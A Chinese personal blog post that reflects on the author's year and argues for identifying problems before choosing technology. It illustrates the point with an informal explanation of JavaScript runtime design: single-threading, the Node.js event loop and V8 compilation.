  • 代码:这段时间写的最多的还是Unity和javascript,当然除了写还有学,写到哪儿学到哪儿(托了没那么忙的福,可以想看就花个一天看到底)
  • 代码:helloworld('elixir') helloworld('go')
  • 代码:最终还是入了vim的邪教,看个网页都想jjjjjj
  • 看书:fiction和non-fiction一半一半,non-fiction把两本简史看了,小说看了一堆,感觉越看越快
  • 其他:积累管理经验??(/nickyoungface)

好了,列完list就算是自我安慰完了(时光没虚度),接下来说正题


刺激到我想写文章的原因有两个:一是见识了个“写代码就是要用vim并且不能有任何提示所有方法都要自己背下来才是写得好”的技术总监,不以为然;二是看了You Are Not Google这篇文章,深以为然。

技术(不单止computer science)的存在都是为了解决问题,解决问题的先决条件在于正确识别问题

写代码(单指输入源代码)要解决的首要问题是能否默写出方法名么?并不是,而是如何更快更简单地用代码描述出你的思路!背诵方法名并不能辅助我思考,反而是completion能帮助我更快的输入,留出更多时间给思考。也让我在10dd(删除10行)了以后能心情好点,不受再次背诵之苦。

使用某个特定技术要为了解决某个特定的问题,你的问题(可能是只有3个程序员,需要做一个不知道有没有用户的APP试水)和Google的问题(有世界上最好的工程师团队,需要以毫秒级的响应速度完成数千万用户的请求)相距甚远,有多大概率你们问题的答案却刚好是同一个?

正确的识别问题,接下来,才更有可能完美的解决问题。

举个例子——javascript


这里说的javascript,不是指language层面的js,language层面的js连它的creator都承认过在前几个版本就是失败的存在(个人认为es4及以前的版本都是渣)。不过话又说回来,有哪个大家广泛认可的主流语言能在一个月里设计出来的?deadline才是产品最大的敌人!

runtime层面的javascript,确实是一个正确识别问题并解决问题的成功案例。要注意的是,这里的runtime并不单指V8,而是V8加上跟V8配套的browser或者nodejs的实现。就像同样也称得上成功的Unity,完整的runtime应该是mono加上底层更为复杂的render和control flow的实现。

各个runtime的实现可能有差异,但核心原理却大同小异,我们从用V8引擎的nodejs的intro开始:

Node.js uses an event-driven, non-blocking I/O model

Single-thread

虽然intro里的关键字是event-driven和non-blocking,但第一个keyword,还应该是单线程。

单线程要解决的是什么问题?答:复杂性。

就像前面说到的,V8只负责javscript的执行,且只是以单线程执行javascript。在完整的Runtime中,V8还需要跟其他功能协同作业,比如网络、比如绘制。如果javascript的执行环境就是个复杂的多线程模型,那么整个Runtime的复杂度将会是M * N而不是M + N,直接呈指数级增长。而且选择单线程模型,还有个额外的好处(也可能是设计者觉得最大的好处)—— 不容易犯错,毕竟普通意义上的多线程编程,跟正常人类的思维逻辑就有些相悖,并不是每个程序员都能驾驭的。(君不见现在的新语言都会把多线程用coroutine或者是actor之类的模型包装起来,不直接暴露给使用者)。

解决了复杂性的问题,V8的职责倒是单一明了了,那需要parallel的场景怎么办?

异步!

Event-driven & non-blocking

这两个关键字加在一起,共同支持了javascript的并行,我们先从non-blocking说起。

看一个blocking的反例:

while(1) {
    block();
    render();
}

如果block一直执行不完或者是花了很长时间才执行完,那么render就会一直等待,你的浏览器可能就会出现“掉帧延迟”甚至无法响应各种鼠标键盘的输入,因为在render下面,可能还有响应各种事件和中断的函数在。

如何直接让任意blocking的方法变成non-blocking的,简单:

// 这段代码本身是错误的,并没有解决问题
non-block = function() {
    setTimeout(block, 0);
}

Javascript具有functional programming的特性,理论上所有blocking的函数都可以当成callback传给其他切换异步的方法。

OK,那是不是有了setTimeout是不是就万事大吉了?启个操作系统的timer,到时间了把该调用的callback都调一下就完事?

你忘了还有一类天天都能遇到的代码:

foo.on('click', clickCb);

除了各种浏览器event,还有network相关的地方,也需要回调的存在来共同完成异步这件事。怎么统一管理这些回调?

这就需要event-queue了(event-driven的核心)

直接从nodejs的网站上抄一段来,看下nodejs的event-queue都处理了些啥(once again:event-queue是V8之外的功能)

timers: this phase executes callbacks scheduled by setTimeout() and setInterval().
I/O callbacks: executes almost all callbacks with the exception of close callbacks, the ones scheduled by timers, and setImmediate().
idle, prepare: only used internally.
poll: retrieve new I/O events; node will block here when appropriate.
check: setImmediate() callbacks are invoked here.
close callbacks: e.g. socket.on(‘close’, …).

可以看到,event-queue为了解决异步模型,做了远比你想象多的事情。

简单来说,一个完整的event-loop分成了不同的phrase,每个phrase都是一个小队列,塞入了各种不同类型的回调,让V8执行回调,然后dequeue,当小队列为空或者达到threshold(callstack.length == max),再处理下面的phrase,直至走完所有phrase,完成一次loop。

这些复杂性,对于V8或者使用javascript的程序员来讲,都是黑盒子,但却很好的解决了异步的问题(event queue + non-blocking callback),从而进一步解决了并行的问题。让你的浏览器能够“一边”执行js代码、“一边”渲染、“一边”进行网络IO。

Compilation

单线程是好,但是从本质上,他无法利用多核的优势(虽然runtime的其他功能可以充分利用多核,nodejs也有cluster模式),可能代码的执行会不够“快”。

那要怎么解决这个问题?那就让他更快!

javascript编译器/VM给出的完整的答案十分的复杂,从对象模型到内存分配再到垃圾回收,无所不用其极。我能力有限,只取两点来讲:

no bytecode

我自己有很长一段时间好奇过,为什么从来不见有文章写javascript的bytecode的?因为在我的认知中,所有有VM和JIT的语言,比如C#/Ruby/Python,都该有bytecode,要不然怎么做JIT,怎么做进一步的优化呢?

这就是典型没想清楚问题的例子。

别忘了Javascript诞生之初,是为了给浏览器使用的。

有bytecode的执行过程是怎样的?

       parse      parse           JIT
source -----> AST -----> bytecode ----> executable

没有bytecode呢?

       parse      JIT              
source -----> AST ---->  executable

少了一个parse的步骤,在代码少的时候(早些年的js可不是动不动就好几十K,好几万个function哦),最后执行的总时间只快不慢,别忘了,javascript最开始可是以文本的方式下载到本地的。而且,javascript早年间都是很有大概率“一次加载一次执行”的,而不像是Ruby/Python的代码“一次加载多次执行”,缓存一份bytecode,就只用一次,实际上就是一种浪费。

但是,早些年是早些年,不巧现在不光浏览器的javascript越来越复杂,还出现了nodejs这种“幺蛾子”。

这种情况下,还能不更快?

hot optimazation

当然可以,如果nodejs在干跟RoR一样的事情了,那把bytecode再捡回来不就好了?

不过V8还是没有传统意义上的bytecode。因为所谓bytecode,跟LLVM的IR一样,其实就是多了一个中间地带来方便做一些“动态”的优化。V8也会做动态的优化,但并不是特别需要额外的特别地带,只需要一个从javascript function到executable的mapping就行。实际上V8会多开一个runtime profiler的线程,监视代码里运行次数最多(hottest)的函数,然后重点优化这些函数,直接替换最开始(第一次明显还需要有一个全量的编译,先让代码跑通,才能找到跑的最多的地方啊)生成的executable。

full compilation + hot optimazation 就是V8面对怎么才能让javascript跑的更快的答案。


恩,以上就是我觉得能在简历上写 熟练掌握javascript 应该达到的水平。


TL;DR : 先问,再答,是道。

END